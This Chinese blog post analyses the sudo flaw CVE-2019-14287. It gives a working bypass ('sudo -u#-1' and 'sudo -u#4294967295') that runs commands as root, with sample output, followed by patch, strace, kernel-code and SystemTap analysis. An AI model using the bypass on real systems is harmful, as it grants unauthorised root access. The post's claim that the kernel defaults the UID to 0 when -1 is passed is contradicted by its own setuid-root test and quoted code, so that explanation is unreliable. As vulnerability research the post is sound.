CVE-2019-14287(Linux sudo 漏洞)分析
作者:lu4nx@知道創宇404積極防禦實驗室
作者部落格:
原文連結:
近日 sudo 被爆光一個漏洞,非授權的特權使用者可以繞過限制獲得特權。官方的修復公告請見: 。
1. 漏洞復現
實驗環境:
作業系統 | CentOS Linux release 7.5.1804 |
---|---|
核心 | 3.10.0-862.14.4.el7.x86_64 |
sudo 版本 | 1.8.19p2 |
首先新增一個系統帳號 test_sudo 作為實驗所用:
[root@localhost ~] # useradd test_sudo
然後用 root 身份在 /etc/sudoers 中增加:
test_sudo ALL=(ALL,!root) /usr/bin/id
表示允許 test_sudo 帳號以非 root 外的身份執行 /usr/bin/id,如果試圖以 root 帳號執行 id 命令則會被拒絕:
[test_sudo@localhost ~] $ sudo id 對不起,使用者 test_sudo 無權以 root 的身份在 localhost.localdomain 上執行 /bin/id。
sudo -u 也可以透過指定 UID 的方式來代替使用者,當指定的 UID 為 -1 或 4294967295(-1 的補碼,其實內部是按無符號整數處理的) 時,因此可以觸發漏洞,繞過上面的限制並以 root 身份執行命令:
[test_sudo@localhost ~]$ sudo -u#-1 id uid=0(root) gid=1004(test_sudo) 組=1004(test_sudo) 環境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [test_sudo@localhost ~]$ sudo -u#4294967295 id uid=0(root) gid=1004(test_sudo) 組=1004(test_sudo) 環境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
2. 漏洞原理分析
在官方程式碼倉庫找到提交的修復程式碼: 。
從提交的程式碼來看,只修改了 lib/util/strtoid.c。strtoid.c 中定義的 sudo_strtoid_v1 函式負責解析引數中指定的 UID 字串,補丁關鍵程式碼:
/* Disallow id -1, which means "no change". */if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) { if (errstr != NULL) *errstr = N_("invalid value"); errno = EINVAL; goto done; }
llval 變數為解析後的值,不允許 llval 為 -1 和 UINT_MAX(4294967295)。
也就是補丁只限制了取值而已,從漏洞行為來看,如果為 -1,最後得到的 UID 卻是 0,為什麼不能為 -1?當 UID 為 -1 的時候,發生了什麼呢?繼續深入分析一下。
我們先用 strace 跟蹤下系統呼叫看看:
[root@localhost ~]# strace -u test_sudo sudo -u#-1 id
因為 strace -u 引數需要 root 身份才能使用,因此上面命令需要先切換到 root 帳號下,然後用 test_sudo 身份執行了
sudo -u#-1 id
命令。從輸出的系統呼叫中,注意到:
setresuid(-1, -1, -1) = 0
sudo 內部呼叫了 setresuid 來提升許可權(雖然還呼叫了其他設定組之類的函式,但先不做分析),並且傳入的引數都是 -1。
因此,我們做一個簡單的實驗來呼叫 setresuid(-1, -1, -1) ,看看為什麼執行後會是 root 身份,程式碼如下:
#include <stdio.h>#include <sys/types.h>#include <unistd.h>int main() { setresuid(-1, -1, -1); setuid(0); printf("EUID: %d, UID: %d\n", geteuid(), getuid()); return 0;}
注意,需要將編譯後的二進位制檔案所屬使用者改為 root,並加上 s 位,當設定了 s 位後,其他帳號執行時就會以檔案所屬帳號的身份執行。
為了方便,我直接在 root 帳號下編譯,並加 s 位:
[root@localhost tmp] # gcc test.c [root@localhost tmp] # chmod +s a.out
然後以 test_sudo 帳號執行 a.out:
[test_sudo@localhost tmp] $ ./a.out EUID: 0, UID: 0
可見,執行後,當前身份變成了 root。
其實 setresuid 函式只是系統呼叫 setresuid32 的簡單封裝,可以在 GLibc 的原始碼中看到它的實現:
// 檔案:sysdeps/unix/sysv/linux/i386/setresuid.c int __setresuid (uid_t ruid, uid_t euid, uid_t suid) { int result; result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); return result; }
setresuid32 最後呼叫的是核心函式 sys_setresuid,它的實現如下:
// 檔案:kernel/sys.c SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) { ... struct cred *new; ... kruid = make_kuid(ns, ruid); keuid = make_kuid(ns, euid); ksuid = make_kuid(ns, suid); new = prepare_creds(); old = current_cred(); ... if (ruid != (uid_t) -1) { new->uid = kruid; if (!uid_eq(kruid, old->uid)) { retval = set_user(new); if (retval < 0) goto error; } } if (euid != (uid_t) -1) new->euid = keuid; if (suid != (uid_t) -1) new->suid = ksuid; new->fsuid = new->euid; ... return commit_creds(new); error: abort_creds(new); return retval; }
簡單來說,核心在處理時,會呼叫 prepare_creds 函式建立一個新的憑證結構體,而傳遞給函式的 ruid、euid和suid 三個引數只有在不為 -1 的時候,才會將 ruid、euid 和 suid 賦值給新的憑證(見上面三個 if 邏輯),否則預設的 UID 就是 0。最後呼叫 commit_creds 使憑證生效。這就是為什麼傳遞 -1 時,會擁有 root 許可權的原因。
我們也可以寫一段 SystemTap 指令碼來觀察下從應用層呼叫 setresuid 並傳遞 -1 到核心中的狀態:
# 捕獲 setresuid 的系統呼叫probe syscall.setresuid { printf("exec %s, args: %s\n", execname(), argstr)}# 捕獲核心函式 sys_setresuid 接受到的引數probe kernel.function("sys_setresuid").call { printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));}# 捕獲核心函式 prepare_creds 的返回值probe kernel.function("prepare_creds").return { # 具體資料結構請見 linux/cred.h 中 struct cred 結構體 printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)}
然後執行:
[root@localhost tmp] # stap test.stp
接著執行前面我們編譯的 a.out,看看 stap 捕獲到的:
exec a.out, args: -1, -1, -1 # 這裡是傳遞給 setresuid 的 3 個引數(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 這裡顯示最終呼叫 sys_setresuid 的三個引數(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 呼叫了 prepare_cred,可看到預設 EUID 是為 0的
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2660947/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Linux sudoLinux
- linux sudo漏洞修復辦法 可防禦黑客的攻擊Linux黑客
- sudo 命令情景分析
- Linux命令su、sudo、sudo su、sudo -i使用和區別Linux
- linux sudo 命令Linux
- linux配置sudoLinux
- Linux伺服器漏洞防護 可SUDO提權到管理員Linux伺服器
- Linux Sudo 被爆重要漏洞,允許黑客提權執行root命令Linux黑客
- Linux sudo 漏洞可能導致未經授權的特權訪問Linux
- linux sudo命令使用Linux
- linux sudo提權Linux
- Linux伺服器上配置 sudo 及 sudo命令使用Linux伺服器
- Linux基礎命令—sudoLinux
- Linux基礎命令---sudoLinux
- Linux精講——sudo命令Linux
- Linux sudo 被曝提權漏洞,任意使用者均能以 root 身份執行命令Linux
- linux sudo許可權配置Linux
- Linux 提權-Sudo_1Linux
- Linux 提權-Sudo_2Linux
- 【Linux】Linux作業系統 配置sudoLinux作業系統
- 威力強大的Linux sudo 命令Linux
- linux sudo命令的概念與使用Linux
- Linux su與sudo的區別Linux
- linux系統sudo命令詳解Linux
- Linux 命令 su 和 sudo 的區別Linux
- Linux中無許可權使用sudoLinux
- Linux下crontab命令的用法:sudo crontab -lLinux
- Linux– su和sudo 切換使用者Linux
- Linux 筆記分享十:sudo 許可權Linux筆記
- Linux 筆記分享十一:sudo 許可權Linux筆記
- Linux賬號空閒登出、sudo命令使用Linux
- Linux su命令和sudo命令的區別Linux
- 【漏洞分析】KaoyaSwap 安全事件分析事件
- sudo命令
- BlueKeep 漏洞利用分析
- XSS漏洞分析
- #linux vscode 儲存總提示“Retry as sudo”LinuxVSCode
- Linux sudo 提權之軟連結攻擊Linux